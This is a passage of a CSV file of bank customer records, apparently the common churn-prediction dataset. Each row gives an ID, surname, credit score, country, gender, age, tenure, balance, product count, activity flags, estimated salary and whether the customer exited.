+450,15658169,Cook,778,Spain,Female,47,6,127299.34,2,1,0,124694.99,0 +451,15794396,Newbold,494,Germany,Female,38,7,174937.64,1,1,0,40084.32,0 +452,15785798,Uchechukwu,850,France,Male,40,9,0,2,0,1,119232.33,0 +453,15710825,Ch'en,592,Spain,Male,31,7,110071.1,1,0,0,43921.36,0 +454,15668444,He,590,Spain,Female,44,3,139432.37,1,1,0,62222.81,0 +455,15726631,Hilton,758,France,Female,39,6,127357.76,1,0,1,56577,0 +456,15733797,Sal,506,France,Male,36,5,0,2,1,0,164253.35,0 +457,15747960,Eluemuno,733,France,Male,33,3,0,1,1,1,7666.73,0 +458,15634632,Titus,711,France,Male,38,3,0,2,1,0,68487.51,0 +459,15707362,Yin,514,Germany,Male,43,1,95556.31,1,0,1,199273.98,1 +460,15662976,Lettiere,637,Spain,Male,37,8,0,1,1,1,186062.36,0 +461,15732778,Templeman,468,Germany,Male,29,1,111681.98,2,1,1,195711.16,0 +462,15718443,Chibuzo,539,France,Male,39,3,0,2,1,0,36692.17,0 +463,15670039,Sun,509,Spain,Female,25,3,108738.71,2,1,0,106920.57,0 +464,15773792,Evans,662,France,Female,32,4,133950.37,1,1,1,48725.68,1 +465,15613786,Ogbonnaya,818,Spain,Male,26,4,0,2,1,1,167036.94,0 +466,15726032,Enyinnaya,608,France,Male,33,9,89968.69,1,1,0,68777.26,0 +467,15663252,Olisanugo,850,Spain,Female,32,9,0,2,1,1,18924.92,0 +468,15593782,Brookes,816,Germany,Female,38,5,130878.75,3,1,0,71905.77,1 +469,15633283,Padovano,536,France,Male,35,8,0,2,1,0,64833.28,0 +470,15749167,Fisk,753,France,Male,35,3,0,2,1,1,184843.77,0 +471,15759298,Shih,631,Spain,Male,27,10,134169.62,1,1,1,176730.02,0 +472,15683625,Hare,703,France,Male,37,1,149762.08,1,1,0,20629.4,1 +473,15635367,Muir,774,France,Male,26,2,93844.69,1,1,0,28415.36,0 +474,15681705,Fanucci,785,France,Male,28,8,0,2,1,0,77231.27,0 +475,15603156,Elewechi,571,France,Female,33,1,0,2,1,0,102750.7,0 +476,15591986,Johnston,621,Germany,Male,46,6,141078.37,1,0,0,34580.8,1 +477,15798888,Pisano,605,Germany,Female,31,1,117992.59,1,1,1,183598.77,0 +478,15809722,Ankudinov,611,France,Female,40,8,100812.33,2,1,0,147358.27,0 +479,15677538,Nwokike,569,France,Male,38,7,0,1,1,1,108469.2,0 +480,15797736,Smith,658,France,Male,29,4,80262.6,1,1,1,20612.82,0 +481,15695585,Atkins,788,Spain,Male,34,6,156478.62,1,0,1,181196.76,0 +482,15744398,Burns,525,France,Female,23,5,0,2,1,0,160249.1,0 +483,15750658,Obiuto,798,France,Male,37,8,0,3,0,0,110783.28,0 +484,15578186,Pirozzi,486,Germany,Male,37,9,115217.99,2,1,0,144995.33,0 +485,15676519,George,615,Spain,Male,61,9,0,2,1,0,150227.85,1 +486,15637954,Lewis,730,France,Female,35,0,155470.55,1,1,1,53718.28,0 +487,15758639,Moran,641,France,Male,37,7,0,2,1,0,75248.3,0 +488,15613772,Dalrymple,542,France,Male,39,3,135096.77,1,1,1,14353.43,1 +489,15731744,Carslaw,692,France,Male,30,2,0,2,0,1,130486.57,0 +490,15807709,Kirby,714,Germany,Female,55,9,180075.22,1,1,1,100127.71,0 +491,15714689,Houghton,591,Spain,Male,29,1,97541.24,1,1,1,196356.17,0 +492,15699005,Martin,710,France,Female,41,2,156067.05,1,1,1,9983.88,0 +493,15624170,Tan,639,France,Female,38,4,81550.94,2,0,1,118974.77,0 +494,15725679,Hsia,531,France,Female,47,6,0,1,0,0,194998.34,1 +495,15585865,Westerberg,673,France,Female,38,2,170061.92,2,0,0,134901.34,1 +496,15804256,Hale,765,Germany,Male,36,8,92310.54,2,1,1,72924.56,0 +497,15662403,Kryukova,622,France,Female,32,6,169089.38,2,1,0,101057.95,0 +498,15733616,Sopuluchukwu,806,France,Male,40,5,80613.93,1,1,1,142838.64,0 +499,15591995,Barry,757,Germany,Male,26,8,121581.56,2,1,1,127059.04,0 +500,15677020,Selezneva,570,France,Female,58,8,0,1,0,1,116503.92,1 +501,15727688,Chizuoke,555,Spain,Male,32,4,0,2,1,1,54405.79,0 +502,15715941,Lueck,692,France,Male,54,5,0,2,1,1,88721.84,0 +503,15714485,Udinese,774,France,Male,60,5,85891.55,1,1,0,74135.48,1 +504,15730059,Udobata,638,Spain,Male,44,9,77637.35,2,1,1,111346.22,0 +505,15715527,Freeman,543,Spain,Female,41,4,0,1,0,0,194902.16,0 +506,15576623,Outlaw,584,France,Male,31,5,0,2,1,0,31474.27,0 +507,15805565,Obiuto,691,Germany,Male,30,7,116927.89,1,1,0,21198.39,0 +508,15677307,Lo,684,Germany,Female,40,6,137326.65,1,1,0,186976.6,0 +509,15773890,Okechukwu,733,France,Male,22,5,0,2,1,1,117202.19,0 +510,15598883,King,599,Spain,Female,37,2,0,2,1,1,143739.29,0 +511,15568506,Forbes,524,Germany,Female,31,10,67238.98,2,1,1,161811.23,0 +512,15761043,Macleod,632,Germany,Female,38,6,86569.76,2,1,0,98090.91,0 +513,15782236,Gibbs,735,Spain,Male,34,5,0,2,0,0,71095.41,0 +514,15593601,Isayev,734,France,Male,34,6,133598.4,1,1,1,13107.24,0 +515,15682048,Pisano,605,France,Female,51,3,136188.78,1,1,1,67110.59,1 +516,15746902,Belstead,793,Spain,Male,38,9,0,2,1,0,88225.02,0 +517,15752081,Vassiliev,468,France,Female,56,10,0,3,0,1,62256.87,1 +518,15781307,Schneider,779,Germany,Male,37,7,120092.52,2,1,0,135925.72,0 +519,15775912,Mazzanti,698,France,Male,48,4,101238.24,2,0,1,177815.87,1 +520,15745417,Knipe,707,France,Male,58,6,89685.92,1,0,1,126471.13,0 +521,15671256,Macartney,850,France,Female,35,1,211774.31,1,1,0,188574.12,1 +522,15653547,Madukwe,850,France,Male,56,7,131317.48,1,1,1,119175.45,0 +523,15595766,Watts,527,Spain,Male,37,5,93722.73,2,1,1,139093.73,0 +524,15742358,Humphreys,696,Germany,Male,32,8,101160.99,1,1,1,115916.55,0 +525,15763274,Wu,661,France,Male,48,3,120320.54,1,0,0,96463.25,0 +526,15786063,Chin,776,France,Female,31,2,0,2,1,1,112349.51,0 +527,15600258,Chesnokova,701,France,Male,43,2,0,2,1,1,165303.79,0 +528,15573318,Kung,610,France,Male,26,8,0,2,1,0,166031.08,0 +529,15653849,Lu,572,Germany,Female,48,3,152827.99,1,1,0,38411.79,1 +530,15694272,Nkemakolam,673,France,Male,30,1,64097.75,1,1,1,77783.35,0 +531,15736112,Walton,519,Spain,Female,57,2,119035.35,2,1,1,29871.79,0 +532,15749851,Brookes,702,Spain,Female,26,4,135219.57,1,0,1,59747.63,0 +533,15663478,Baldwin,729,France,Male,32,6,93694.42,1,1,1,79919.13,0 +534,15592300,Mai,543,Spain,Male,35,10,59408.63,1,1,0,76773.53,0 +535,15567832,Shih,550,France,Female,40,7,114354.95,1,1,0,54018.93,0 +536,15776780,He,608,France,Male,59,1,0,1,1,0,70649.64,1 +537,15592846,Fiorentini,639,Germany,Male,35,10,128173.9,2,1,0,59093.39,0 +538,15739803,Lucciano,686,Spain,Male,34,9,0,2,1,0,127569.8,0 +539,15794142,Ferreira,564,Germany,Female,62,5,114931.35,3,0,1,18260.98,1 +540,15762729,Ukaegbunam,745,Germany,Female,28,1,111071.36,1,1,0,73275.96,1 +541,15667896,De Luca,833,France,Male,37,8,151226.18,2,1,1,136129.49,0 +542,15626578,Milne,622,France,Male,26,9,0,2,1,1,153237.59,0 +543,15776223,Davide,597,France,Female,42,4,64740.12,1,1,1,106841.12,0 +544,15705953,Kodilinyechukwu,721,Spain,Male,51,0,169312.13,1,1,0,109078.35,1 +545,15802593,Little,504,France,Female,49,7,0,3,0,1,87822.14,1 +546,15615457,Burns,842,Spain,Female,44,2,112652.08,2,1,0,126644.98,0 +547,15708916,Paterson,587,France,Male,38,0,0,2,1,0,47414.15,0 +548,15720187,Han,479,Germany,Female,30,7,143964.36,2,1,0,41879.99,0 +549,15595440,Kryukova,508,France,Male,49,7,122451.46,2,1,1,75808.1,0 +550,15600651,Ijendu,749,France,Male,24,1,0,3,1,1,47911.03,0 +551,15750141,Reichard,721,Germany,Female,36,3,65253.07,2,1,0,28737.78,0 +552,15657284,Day,674,Germany,Male,47,6,106901.94,1,1,1,2079.2,1 +553,15763063,Price,685,Spain,Female,25,10,128509.63,1,1,0,121562.33,0 +554,15709324,Bruce,417,France,Male,34,7,0,2,1,0,55003.79,0 +555,15711309,Sumrall,574,Germany,Male,33,3,129834.67,1,1,0,193131.42,0 +556,15775318,Lu,590,Spain,Female,51,3,154962.99,3,0,1,191932.27,1 +557,15705515,Lazarev,587,Germany,Male,40,5,138241.9,2,1,0,159418.1,0 +558,15634844,Miller,598,Germany,Male,41,3,91536.93,1,1,0,191468.78,1 +559,15717046,Wentworth-Shields,741,Spain,Male,53,3,0,2,1,1,38913.68,0 +560,15571816,Ritchie,850,Spain,Female,70,5,0,1,1,1,705.18,0 +561,15670080,Mackenzie,584,Germany,Female,29,7,105204.01,1,0,1,138490.03,0 +562,15800440,Power,650,Spain,Male,61,1,152968.73,1,0,1,82970.69,0 +563,15665678,Tan,607,Spain,Male,36,8,158261.68,1,1,1,76744.72,0 +564,15665956,Pendergrass,509,France,Female,46,1,0,1,1,0,71244.59,1 +565,15788126,Evans,689,Spain,Female,38,6,121021.05,1,1,1,12182.15,0 +566,15811773,Hsia,543,France,Male,36,4,0,2,1,1,141210.5,0 +567,15651674,Billson,438,Spain,Female,54,2,0,1,0,0,191763.07,1 +568,15689614,Teng,687,Spain,Female,63,1,137715.66,1,1,1,37938.74,0 +569,15795564,Moretti,737,Germany,Male,31,5,121192.22,2,1,1,74890.58,0 +570,15706647,Jordan,761,France,Male,31,7,0,3,1,1,166698.18,0 +571,15728505,Ts'ao,601,France,Male,44,1,100486.18,2,1,1,62678.53,0 +572,15730076,Osborne,651,France,Male,45,1,0,1,1,0,67740.08,1 +573,15622003,Carslaw,745,France,Male,35,9,92566.53,2,1,0,161519.77,0 +574,15607312,Ch'ang,648,Spain,Female,49,10,0,2,1,1,159835.78,1 +575,15644753,Hung,848,Spain,Male,40,3,110929.96,1,1,1,30876.84,0 +576,15653620,Gordon,546,France,Female,27,8,0,2,1,1,14858.1,0 +577,15761986,Obialo,439,Spain,Female,32,3,138901.61,1,1,0,75685.97,0 +578,15633922,Gray,755,France,Male,30,4,123217.66,2,0,1,144183.1,0 +579,15734674,Lin,593,France,Female,41,6,0,1,1,0,65170.66,0 +580,15658032,Hopkins,701,France,Male,39,2,0,2,1,1,82526.92,0 +581,15692671,Dobson,701,Spain,Male,36,8,0,2,1,0,169161.46,0 +582,15737741,McKay,607,Spain,Female,33,2,108431.87,2,0,1,109291.39,1 +583,15576352,Revell,586,Spain,Female,57,3,0,2,0,1,6057.81,0 +584,15753719,Rickards,547,Germany,Female,30,9,72392.41,1,1,0,77077.14,0 +585,15803689,Begum,647,Germany,Female,51,1,119741.77,2,0,0,54954.51,1 +586,15718057,Onyinyechukwuka,760,France,Female,51,2,100946.71,1,0,0,179614.8,1 +587,15722010,Zuyev,621,Spain,Male,53,9,170491.84,1,1,0,35588.07,1 +588,15680998,Nwankwo,725,France,Male,44,5,0,1,1,1,117356.14,0 +589,15614782,Hao,526,France,Male,36,1,0,1,1,0,160696.72,0 +590,15591047,Ma,519,Spain,Female,47,6,157296.02,2,0,0,147278.43,1 +591,15788291,Okwuadigbo,713,Germany,Female,38,7,144606.22,1,1,1,56594.36,1 +592,15604044,Mitchell,700,France,Male,38,8,134811.3,1,1,0,1299.75,0 +593,15679587,Chan,666,France,Female,34,9,115897.12,1,1,1,25095.03,0 +594,15775153,Buchi,630,Spain,Male,32,4,82034,1,0,0,146326.45,0 +595,15603925,Greco,779,Spain,Female,26,4,174318.13,2,0,1,38296.21,0 +596,15680970,Lombardi,611,Germany,Female,41,2,114206.84,1,1,0,164061.6,0 +597,15697183,Uchenna,685,Spain,Male,43,9,0,2,1,0,107811.28,0 +598,15567446,Coffman,646,Germany,Male,39,9,111574.41,1,1,1,30838.51,0 +599,15637476,Alexandrova,683,Germany,Female,57,5,162448.69,1,0,0,9221.78,1 +600,15714939,Fallaci,484,Germany,Female,34,4,148249.54,1,0,1,33738.27,0 +601,15683503,Hudson,601,France,Female,43,8,0,3,0,1,110916.15,1 +602,15645569,Mai,762,Spain,Female,26,7,123709.46,2,1,1,169654.57,0 +603,15782569,Stout,687,France,Female,72,9,0,1,0,1,69829.4,0 +604,15592387,Burke,566,France,Male,30,5,0,1,1,0,54926.51,1 +605,15609286,Chadwick,702,France,Male,37,10,150525.8,1,1,1,94728.49,0 +606,15814035,Lawrence,601,France,Male,29,9,0,1,1,1,80393.27,0 +607,15661249,Bellucci,699,France,Male,53,4,0,2,0,1,111307.98,0 +608,15629117,Harper,584,France,Male,28,10,0,2,1,0,19834.32,0 +609,15607170,Boyle,699,France,Male,35,5,0,2,1,1,78397.24,0 +610,15586585,Duncan,698,Germany,Female,51,2,111018.98,1,1,0,86410.28,0 +611,15686611,Moss,495,France,Male,30,10,129755.99,1,0,0,172749.65,0 +612,15603203,Avdeyeva,650,France,Female,27,6,0,2,1,0,1002.39,0 +613,15619857,Crawford,605,France,Female,64,2,129555.7,1,1,1,13601.79,0 +614,15805062,Lynton,667,Spain,Male,38,1,87202.38,1,1,1,77866.91,0 +615,15660271,Duncan,688,Germany,Male,26,8,146133.39,1,1,1,175296.76,0 +616,15745295,Gether,727,Spain,Female,31,0,0,1,1,0,121751.04,1 +617,15719352,Davidson,754,Spain,Male,39,6,170184.99,2,1,0,89593.26,0 +618,15766575,Larionova,612,Germany,Female,62,8,140745.33,1,1,0,193437.89,1 +619,15594594,Loggia,546,Spain,Male,42,7,139070.51,1,1,1,86945,0 +620,15646161,Steinhoff,673,Spain,Female,37,8,0,2,1,1,183318.79,0 +621,15682585,Guerra,593,France,Male,35,9,114193.24,1,1,0,71154.1,0 +622,15603134,Pai,656,Spain,Female,40,10,167878.5,1,0,1,151887.16,0 +623,15636444,Craig,535,Germany,Female,53,5,141616.55,2,1,1,75888.65,0 +624,15773456,Lazareva,678,Germany,Male,36,3,145747.67,2,0,1,89566.74,0 +625,15745307,Ch'iu,477,Spain,Female,48,2,129120.64,1,0,1,26475.79,0 +626,15604119,Alderete,850,Spain,Male,35,7,110349.82,1,0,0,126355.8,0 +627,15626900,Kung,427,France,Male,29,1,141325.56,1,1,1,93839.3,0 +628,15605447,Palermo,752,France,Male,49,2,78653.84,1,1,0,7698.6,0 +629,15589030,Ts'ai,649,France,Male,47,1,0,2,1,1,145593.85,0 +630,15692463,Rahman,799,Spain,Female,28,3,142253.65,1,1,0,45042.56,0 +631,15712403,McMillan,589,France,Female,61,1,0,1,1,0,61108.56,1 +632,15811762,Pickering,583,Germany,Female,54,6,115988.86,1,1,0,57553.98,1 +633,15718673,Mirams,839,Spain,Female,33,10,75592.43,1,1,0,62674.42,0 +634,15724282,Tsao,540,Germany,Male,44,3,164113.04,2,1,1,12120.79,0 +635,15738181,Douglas,850,France,Male,31,6,67996.23,2,0,0,50129.87,1 +636,15633648,Jideofor,696,Spain,Female,51,5,0,2,1,0,55022.43,0 +637,15603323,Bell,660,Spain,Female,33,1,0,2,0,0,117834.91,0 +638,15583725,Mairinger,682,France,Male,48,1,138778.15,1,0,1,168840.23,0 +639,15588350,McIntyre,744,France,Female,43,10,147832.15,1,0,1,24234.11,0 +640,15798398,Pagnotto,785,France,Female,36,4,135438.4,1,0,0,190627.01,0 +641,15784844,K'ung,752,Spain,Male,48,5,116060.08,1,1,0,156618.38,1 +642,15580684,Feng,706,France,Female,29,5,112564.62,1,1,0,42334.38,0 +643,15809663,Donaldson,583,France,Female,27,1,125406.58,1,1,1,110784.42,0 +644,15640078,Chambers,660,Germany,Female,39,5,135134.99,1,1,0,173683,1 +645,15698786,Marcelo,819,France,Female,39,9,133102.92,1,1,0,27046.46,1 +646,15569807,Ejimofor,673,France,Female,34,8,42157.08,1,1,0,20598.59,1 +647,15730830,Dale,752,France,Female,30,3,0,2,1,1,104991.28,0 +648,15805112,Pokrovsky,578,France,Male,38,7,82259.29,1,1,0,8996.97,0 +649,15633064,Stonebraker,438,France,Female,36,4,0,2,1,0,64420.5,0 +650,15703119,Liang,652,France,Male,38,6,0,2,1,1,145700.22,0 +651,15730447,Anderson,629,France,Female,49,4,0,2,1,1,196335.48,0 +652,15813850,Christian,720,France,Male,52,7,0,1,1,1,14781.12,0 +653,15711889,Mao,668,France,Male,42,3,150461.07,1,1,0,108139.23,0 +654,15664610,Campbell,459,Germany,Male,48,4,133994.52,1,1,1,19287.06,1 +655,15751710,Ginikanwa,729,Spain,Male,31,8,164870.81,2,1,1,9567.39,0 +656,15692926,Toscani,498,Germany,Male,25,8,121702.73,1,1,1,132210.49,0 +657,15813741,Nnachetam,549,Spain,Male,25,6,193858.2,1,0,1,21600.11,0 +658,15698474,Sagese,601,Germany,Female,54,1,131039.97,2,1,1,199661.5,0 +659,15568595,Fleming,544,France,Male,64,9,113829.45,1,1,1,124341.49,0 +660,15603065,Grubb,751,France,Female,30,6,0,2,1,0,15766.1,0 +661,15592937,Napolitani,632,Germany,Female,41,3,81877.38,1,1,1,33642.21,0 +662,15699637,Anenechi,694,Spain,Male,57,8,116326.07,1,1,1,117704.65,0 +663,15667215,Chandler,678,France,Male,31,2,0,2,1,1,58803.28,0 +664,15788659,Howells,695,France,Male,46,4,0,2,1,1,137537.22,0 +665,15763218,Akeroyd,661,France,Female,41,1,0,2,0,1,131300.68,0 +666,15645772,Onwumelu,661,France,Male,33,9,0,2,1,1,84174.81,0 +667,15725511,Wallace,559,France,Female,31,3,127070.73,1,0,1,160941.78,0 +668,15575024,Uwaezuoke,503,France,Male,29,3,0,2,1,1,143954.99,0 +669,15640825,Loyau,695,Spain,Male,46,3,122549.64,1,1,1,56297.85,0 +670,15662397,Small,640,France,Female,42,5,176099.13,1,1,1,8404.73,0 +671,15576368,Bledsoe,624,Germany,Female,48,3,122388.38,2,0,0,30020.09,0 +672,15674991,Kao,667,France,Male,42,9,0,2,0,1,58137.42,0 +673,15721024,Wickens,642,France,Male,26,0,0,1,0,0,47472.68,0 +674,15745621,Wertheim,640,Spain,Female,32,6,118879.35,2,1,1,19131.71,0 +675,15642394,He,529,Spain,Male,35,5,0,2,1,1,187288.5,0 +676,15754605,Jarvis,563,France,Female,39,5,0,2,1,1,17603.81,0 +677,15607040,P'an,593,Spain,Female,38,4,88736.44,2,1,0,67020.03,0 +678,15715142,Repina,739,Germany,Male,45,7,102703.62,1,0,1,147802.94,1 +679,15810978,Pugliesi,788,Spain,Female,70,1,0,2,1,1,41610.62,0 +680,15668886,Blakey,684,Spain,Female,38,3,0,2,1,0,44255.65,0 +681,15780804,Nucci,482,France,Male,55,5,97318.25,1,0,1,78416.14,0 +682,15613880,Higinbotham,591,Spain,Male,58,5,128468.69,1,0,1,137254.55,0 +683,15775238,Achebe,651,Germany,Female,41,4,133432.59,1,0,1,151303.48,0 +684,15786905,Russo,749,Germany,Female,40,8,141782.57,2,0,0,86333.63,0 +685,15747867,Trevisani,583,France,Male,24,9,135125.28,1,0,0,89801.9,0 +686,15600337,Dobie,661,Spain,Male,42,2,178820.91,1,0,0,29358.57,1 +687,15801277,Maccallum,715,France,Female,31,2,112212.14,2,1,1,181600.72,0 +688,15579334,Watkins,769,Germany,Female,45,5,126674.81,1,1,0,124118.71,1 +689,15802741,Mitchel,625,France,Female,51,7,136294.97,1,1,0,38867.46,1 +690,15720649,Ferdinand,641,France,Female,36,5,66392.64,1,1,0,31106.67,0 +691,15589493,Otitodilinna,716,Germany,Male,27,1,122552.34,2,1,0,67611.36,0 +692,15688251,Mamelu,767,France,Male,43,1,76408.85,2,1,0,77837.63,0 +693,15665238,Beneventi,745,Germany,Male,36,8,145071.24,1,0,0,6078.46,0 +694,15740900,Perrodin,589,France,Male,34,6,0,2,1,1,177896.92,0 +695,15681068,Chinagorom,796,France,Female,45,2,109730.22,1,1,1,123882.73,0 +696,15748625,Napolitano,664,France,Male,57,6,0,2,1,1,15304.08,0 +697,15727299,Edgar,445,Spain,Male,62,1,64119.38,1,1,1,76569.64,1 +698,15620204,Walker,543,Germany,Female,57,1,106138.33,2,1,1,120657.32,1 +699,15669516,Steele,746,Spain,Male,36,2,0,2,1,1,16436.56,0 +700,15736534,Elkins,742,Germany,Male,33,0,181656.51,1,1,1,107667.91,0 +701,15803457,Hao,750,France,Female,32,5,0,2,1,0,95611.47,0 +702,15659098,Toscano,669,France,Male,30,7,95128.86,1,0,0,19799.26,0 +703,15603436,Savage,594,Spain,Female,49,2,126615.94,2,0,1,123214.74,0 +704,15566292,Okwuadigbo,574,Spain,Male,36,1,0,2,0,1,71709.12,0 +705,15808621,Mordvinova,659,Germany,Male,36,2,76190.48,2,1,1,149066.14,0 +706,15580148,Welch,750,Germany,Male,40,5,168286.81,3,1,0,20451.99,1 +707,15776231,Kent,626,Germany,Male,35,4,88109.81,1,1,1,32825.5,0 +708,15773809,Campbell,620,France,Male,42,4,0,2,1,0,6232.31,0 +709,15649423,Cooper,580,France,Female,35,8,0,2,0,1,10357.03,0 +710,15734886,Mazzi,686,France,Female,34,3,123971.51,2,1,0,147794.63,0 +711,15722548,Fisher,540,France,Male,48,0,148116.48,1,0,0,116973.48,0 +712,15650288,Summers,634,Germany,Male,35,6,116269.01,1,1,0,129964.94,0 +713,15629448,Brady,632,Spain,Male,38,1,120599.21,1,1,0,92816.86,0 +714,15716164,Nicholls,501,France,Female,41,3,144260.5,1,1,0,172114.67,0 +715,15807609,Yuan,650,Spain,Female,25,3,86605.5,3,1,0,16649.31,1 +716,15578977,Robinson,786,France,Male,34,9,0,2,1,0,144517.19,0 +717,15677369,Golubov,554,Germany,Female,37,4,58629.97,1,0,0,182038.6,0 +718,15804072,Chen,701,Spain,Female,42,5,0,2,0,0,24210.56,0 +719,15696859,Oldham,474,France,Male,45,10,0,2,0,0,172175.9,0 +720,15653780,Kambinachi,621,France,Female,43,5,0,1,1,1,47578.45,0 +721,15721658,Fleming,672,Spain,Female,56,2,209767.31,2,1,1,150694.42,1 +722,15578761,Cunningham,459,Spain,Female,42,6,129634.25,2,1,1,177683.02,1 +723,15736879,Obinna,669,France,Male,23,1,0,2,0,0,66088.83,0 +724,15571973,Chinwemma,776,France,Female,38,2,169824.46,1,1,0,169291.7,0 +725,15626742,Carpenter,694,France,Male,36,3,97530.25,1,1,1,117140.41,0 +726,15672692,Yin,787,France,Female,42,10,145988.65,2,1,1,79510.37,0 +727,15673570,Olsen,580,France,Male,37,9,0,2,0,1,77108.66,0 +728,15767432,Ts'ai,711,France,Female,25,7,0,3,1,1,9679.28,0 +729,15654238,Jen,673,France,Female,40,5,137494.28,1,1,0,81753.92,0 +730,15612525,Preston,499,France,Female,57,1,0,1,0,0,131372.38,1 +731,15812750,Ozioma,591,France,Male,24,6,147360,1,1,1,25310.82,0 +732,15790757,Cody,769,France,Female,25,10,0,2,0,0,187925.75,0 +733,15723873,Ponomarev,657,Spain,Male,31,3,125167.02,1,0,0,98820.39,0 +734,15744607,Martin,738,Germany,Male,43,9,121152.05,2,1,0,64166.7,1 +735,15612966,Milani,545,Germany,Female,60,7,128981.07,1,0,1,176924.21,1 +736,15784209,Tang,497,France,Male,47,6,0,1,1,1,90055.08,0 +737,15794278,Romani,816,Spain,Male,67,6,151858.98,1,1,1,72814.31,0 +738,15766741,McIntyre,525,France,Male,36,2,114628.4,1,0,1,168290.06,0 +739,15661036,Davis,725,France,Male,46,6,0,2,1,0,161767.38,0 +740,15705639,Onyemauchechukwu,692,France,Female,28,8,95059.02,2,1,0,44420.18,0 +741,15637414,Gell,618,France,Female,24,7,128736.39,1,0,1,37147.61,0 +742,15716835,Rossi,546,France,Male,24,8,156325.38,1,1,1,125381.02,0 +743,15696231,Chiwetelu,635,France,Male,29,7,105405.97,1,1,1,149853.89,0 +744,15641675,Kirillova,611,France,Female,49,2,88915.37,3,0,0,161435.02,1 +745,15670755,Shaw,650,France,Male,60,8,0,2,1,1,102925.76,0 +746,15640059,Smith,606,France,Male,40,5,0,2,1,1,70899.27,0 +747,15787619,Hsieh,844,France,Male,18,2,160980.03,1,0,0,145936.28,0 +748,15587535,Onyemauchechukwu,450,Spain,Female,46,5,177619.71,1,1,0,54227.06,0 +749,15813034,Martin,727,Spain,Male,38,2,62276.99,1,1,1,59280.79,0 +750,15698839,Okwudilichukwu,460,Germany,Male,46,4,127559.97,2,1,1,126952.5,0 +751,15790314,Onuoha,649,France,Male,41,0,0,2,0,1,130567.02,0 +752,15634245,Muecke,758,Germany,Female,47,9,95523.16,1,1,0,73294.48,0 +753,15677305,Hsieh,490,France,Female,35,7,107749.03,1,1,1,3937.37,0 +754,15661526,Anderson,815,Germany,Male,37,2,110777.26,2,1,0,2383.59,0 +755,15685997,Azubuike,838,Spain,Female,39,5,166733.92,2,1,0,14279.44,0 +756,15660101,Nnonso,803,France,Male,31,9,157120.86,2,1,0,141300.53,0 +757,15637979,Fuller,664,Germany,Female,36,2,127160.78,2,1,0,78140.75,0 +758,15815364,Ashley,736,Spain,Female,28,2,0,2,1,1,117431.1,0 +759,15647099,Ts'ui,633,France,Female,37,9,156091.97,1,1,0,72008.61,0 +760,15625944,Buccho,664,France,Male,58,5,98668.18,1,1,1,60887.58,0 +761,15583212,Chidozie,600,France,Female,43,5,134022.06,1,1,0,194764.83,0 +762,15582741,Maclean,693,France,Female,35,5,124151.09,1,1,0,88705.14,1 +763,15637876,Burns,663,Germany,Female,36,6,77253.5,1,0,0,35817.97,1 +764,15622750,Chu,742,Germany,Female,21,1,114292.48,1,1,0,31520.4,0 +765,15672056,Kenenna,710,Germany,Male,43,2,140080.32,3,1,1,157908.19,1 +766,15812351,Beluchi,710,Spain,Female,27,2,135277.96,1,1,0,142200.15,0 +767,15810864,Williamson,700,France,Female,82,2,0,2,0,1,182055.36,0 +768,15677921,Bobrov,720,Germany,Male,60,9,115920.62,2,0,0,157552.08,1 +769,15724296,Kerr,684,Spain,Male,41,2,119782.72,2,0,0,120284.67,0 +770,15685329,McKenzie,531,France,Female,63,1,114715.71,1,0,1,24506.95,1 +771,15584091,Pitts,742,Germany,Female,36,2,129748.54,2,0,0,47271.61,1 +772,15640442,Standish,717,France,Male,31,4,129722.57,1,0,0,41176.6,0 +773,15639314,Cartwright,589,France,Male,32,2,0,2,0,1,9468.64,0 +774,15685320,Johnstone,767,France,Male,36,3,139180.2,1,0,0,123880.19,0 +775,15789158,Nikitina,636,Germany,Male,49,6,113599.74,2,1,0,158887.09,1 +776,15752137,McElroy,648,France,Male,33,7,134944,1,1,1,117036.38,0 +777,15712551,Shen,622,Germany,Female,58,7,116922.25,1,1,0,120415.61,1 +778,15628936,Archer,692,Spain,Male,28,9,118945.09,1,0,0,16064.25,1 +779,15797227,Otutodilinna,754,France,Male,28,8,0,2,1,1,52615.62,0 +780,15769974,Shih,679,Spain,Female,35,8,119182.73,1,0,0,121210.09,0 +781,15737051,Denisov,639,France,Male,27,8,0,2,1,0,192247.35,0 +782,15585595,Owens,774,France,Female,28,1,71264.02,2,0,1,68759.57,0 +783,15654060,P'eng,517,France,Male,41,2,0,2,0,1,75937.47,0 +784,15745196,Verco,571,France,Female,35,8,0,2,0,0,84569.13,0 +785,15571221,Bergamaschi,747,Germany,Male,58,7,116313.57,1,1,1,190696.35,1 +786,15660155,Lorenzo,792,Spain,Male,36,5,92140.15,1,0,1,67468.67,0 +787,15605284,Outtrim,688,France,Male,26,1,0,2,1,1,104435.94,0 +788,15694366,Hou,714,Germany,Male,42,2,177640.09,1,0,1,47166.55,0 +789,15600739,Galkin,562,Spain,Female,35,0,0,2,1,0,119899.52,0 +790,15653253,Pagnotto,704,Spain,Male,48,8,167997.6,1,1,1,173498.45,0 +791,15763431,Echezonachukwu,698,France,Male,36,2,82275.35,2,1,1,93249.26,0 +792,15643696,Young,611,France,Male,49,3,0,2,1,1,142917.54,0 +793,15707473,Summers,850,Germany,Female,48,6,111962.99,1,1,0,111755.8,0 +794,15769504,Munro,743,Germany,Female,34,1,131736.88,1,1,1,108543.21,0 +795,15776807,Brennan,654,France,Male,29,1,0,1,1,0,180345.44,0 +796,15686870,Ball,761,Germany,Male,36,8,108239.11,2,0,0,99444.02,0 +797,15668747,Virgo,702,France,Female,46,9,98444.19,1,0,1,109563.28,0 +798,15766908,Trevisani,488,Germany,Male,32,3,114540.38,1,1,0,92568.07,0 +799,15570134,Padovano,683,France,Female,35,6,187530.66,2,1,1,37976.36,0 +800,15567367,Tao,601,Germany,Female,42,9,133636.16,1,0,1,103315.74,0 +801,15747542,Perez,605,France,Male,52,7,0,2,1,1,173952.5,0 +802,15762238,Fraser,671,Germany,Female,44,0,84745.03,2,0,1,34673.98,0 +803,15681554,Alley,614,Germany,Female,31,7,120599.38,2,1,1,46163.44,0 +804,15712825,Howells,511,Spain,Female,29,9,0,2,0,1,140676.98,0 +805,15640280,Cameron,850,France,Male,39,4,127771.35,2,0,1,151738.54,0 +806,15756026,Hooper,790,Spain,Female,46,9,0,1,0,0,14679.81,1 +807,15613319,Rice,793,France,Female,33,0,0,1,0,0,175544.02,0 +808,15798906,Cox,628,France,Male,69,5,0,2,1,1,181964.6,0 +809,15708917,Martin,598,Germany,Male,53,10,167772.96,1,1,1,136886.86,0 +810,15778463,Ikenna,657,France,Female,37,6,95845.6,1,1,0,122218.23,0 +811,15699430,Davide,618,France,Female,35,10,0,2,1,0,180439.75,0 +812,15649992,Alexander,681,Spain,Male,65,7,134714.7,2,0,1,190419.81,0 